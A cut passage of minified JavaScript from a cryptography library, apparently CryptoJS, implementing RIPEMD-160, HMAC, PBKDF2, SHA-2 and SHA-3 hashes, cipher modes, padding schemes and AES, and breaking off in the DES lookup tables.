l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 